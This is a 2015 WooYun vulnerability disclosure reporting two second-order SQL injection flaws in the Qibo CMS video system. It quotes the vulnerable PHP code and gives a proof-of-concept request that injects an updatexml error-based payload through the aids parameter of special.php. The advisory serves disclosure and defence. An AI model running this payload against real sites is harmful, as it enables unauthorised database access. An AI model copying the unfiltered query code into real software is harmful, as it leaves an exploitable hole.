当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0115140

漏洞标题:齐博cms视频系统最新版注入漏洞2枚

相关厂商:齐博CMS

漏洞作者: 路人甲

提交时间:2015-05-21 15:05

修复时间:2015-08-24 15:07

公开时间:2015-08-24 15:07

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-21: 细节已通知厂商并且等待厂商处理中
2015-05-26: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-07-20: 细节向核心白帽子及相关领域专家公开
2015-07-30: 细节向普通白帽子公开
2015-08-09: 细节向实习白帽子公开
2015-08-24: 细节向公众公开

简要描述:

详细说明:

video/member/special.php

elseif($job=='addsp')
{
if($step==2){
$yz=($groupdb[PassContributeSP]||$web_admin)?1:0;
$db->query("INSERT INTO `{$_pre}special` ( `fid` , `title` , `keywords` , `style` , `template` , `picurl` , `content` , `aids` ,`uid` , `username` , `posttime` , `list`, `allowpost`, `yz`, `banner` ) VALUES ('$postdb[fid]','$postdb[title]','$keywords','$style','','$postdb[picurl]','$postdb[content]','$aids','$lfjuid','$lfjid','$timestamp','$timestamp','$postdb[allowpost]','$yz','$postdb[banner]')");
refreshto("special.php?job=listsp","??",1);
}


$aids没有初始话而且在全局文件中也没任何过滤,在加上齐博的伪全局机制使得$aids直接入库了
看看在什么地方出库了(在两个地方出库进入查询)
第一处:
video/showsp.php

$rsdb=$db->get_one("SELECT * FROM {$_pre}special WHERE id='$id'");
//这里查询取出aids
if(!$rsdb){
showerr("ݲ!");
}elseif($rsdb[yz]!=1){
if(!$web_admin&&$lfjuid!=$rsdb[uid]){
showerr("ûͨ");
}
此处省略代码若干
if($rsdb[aids])
{//这里如果rsdb[aids]存在就带入查询
$query = $db->query("SELECT A.*,D.content FROM {$_pre}article A LEFT JOIN {$_pre}reply D ON D.aid=A.aid WHERE D.topic=1 AND D.aid IN ($rsdb[aids])");
while($rs = $db->fetch_array($query)){
$rs[content]=preg_replace('/<([^<]*)>/is',"",$rs[content]); //HTML˵
$rs[content]=preg_replace('/ ||&nbsp;/is',"",$rs[content]); //ѶĿոȥ
$rs[url]="$Mdomain/bencandy.php?fid=$rs[fid]&id=$rs[aid]";
$rs[subject]="<a href='$rs[url]' target=_blank>$rs[title]</a>";
$_listdb[$rs[aid]]=$rs;
}


select出aids 然后直接又带入查询 造成了注入漏洞
第二处:
video/member\list.php

if($step==2){
if(!$aidDB){
showerr("请至少选择一篇视频");
}elseif(!$Type){
showerr("请选择操作目标,是删除还是审核等...");
}
if($Type=='yz'){
if($T_yz<1){
$Type=='unyz';
}
}elseif($Type=='leavels'){
if($levels<1){
$Type='uncom';
}else{
$levels=1;
$Type='com';
}
}
//if($Type=='delete'){
//make_more_article_html("$FROMURL","del_0",$aidDB);
//}
$fid_str ='';
foreach( $aidDB AS $key=>$value){

if($webdb[Html_Type]==1&&$Type=='delete'){ //删除信息后,就读不到内容了
$rs=$db->get_one("SELECT fid FROM {$_pre}article WHERE aid='$value'");
$fid_str.="&bfid_array[]=$rs[fid]";
}
do_work($value,$Type,1);
在这里调用了do_work函数 跟进
video/inc/artic_function.php
function do_work($id,$job,$check=0){
global $db,$_pre,$timestamp,$lfjid,$lfjdb,$webdb,$web_admin,$reason,$Fid_db;
。。。
elseif($job=='special')
{
global $spid;
if(!$spid){
showerr("请选择一个专题");
}
$rssp=$db->get_one(" SELECT * FROM {$_pre}special WHERE id='$spid' ");
$detail=explode(",",$rssp[aids]);
var_dump($detail);
if( !in_array($id,$detail) ){
if($rssp[aids]){
$rssp[aids]="$id,$rssp[aids]";

}else{
$rssp[aids]="$id";

}

$db->query("UPDATE `{$_pre}special` SET `aids`='$rssp[aids]' WHERE id='$spid'");
}
$array[title]="你发表的《{$rsdb[title]}》被设置专题了";


把出库的aids带入了update语句,造成sql注入

漏洞证明:

http://localhost/video/video/member/special.php?job=addsp&postdb[fid]=1&postdb[title]=2222&id=11&step=2&aids=2)%20and%20updatexml(0,concat(0xa,user()),0)%23
http://localhost/video/video/showsp.php?id=14

44.png


修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-08-24 15:07

厂商回复:

漏洞Rank:4 (WooYun评价)

最新状态:

暂无